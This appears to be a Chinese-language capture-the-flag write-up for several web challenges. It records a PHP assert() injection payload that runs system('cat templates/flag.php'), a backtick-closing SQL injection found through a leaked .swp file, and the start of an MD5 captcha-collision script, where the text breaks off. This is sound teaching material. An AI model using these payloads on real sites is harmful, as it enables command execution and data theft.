web
admin
首先扫描,发现目录
访问发现flag不对,抓包,修改一下cookie即可
babyphp
查看源码得到hint
然后这题又有.git泄露
发现有个过滤,这题就是只要绕过,然后执行访问目录即可,开始构造
'.xxx.'
这样大概在里面是
$file="templates/".''.xxx.''.".php"
assert("strpos('templates/'.xxx.'.php') ===
发现可以找到,但没有办法查看,那如果我闭合前半部分,单独执行sys命令呢
','..') === False and system('');//
payload:
','..')===False and system('cat templates/flag.php');//
flag:61dctf{8e_careful_when_us1ng_ass4rt}
inject
一开始没有其他目录,那就尝试一下备份
在.index.php.swp
发现源码
<?php
require("config.php");
$table = $_GET['table']?$_GET['table']:"test";
$table = Filter($table);
mysqli_query($mysqli,"desc `secret_{$table}`") or Hacker();
$sql = "select 'flag{xxx}' from secret_{$table}";
$ret = sql_query($sql);
echo $ret[0];
?>
发现我如果输入任何数,都会hack!
,猜测是Hacker()
报错的,而过滤函数只起到过滤不报错的作用,那就下来就必须让那个链接语句成功
由于是反引号,尝试用反引号闭合试试
发现是完全可以的
然后直接构造语句试试
成功,但是不是1,看来有可能是顺序问题,利用limit
表名
列名
flag到手
babyxss
首先是验证码的碰撞,直接脚本
import random
import string
import hashlib
def md5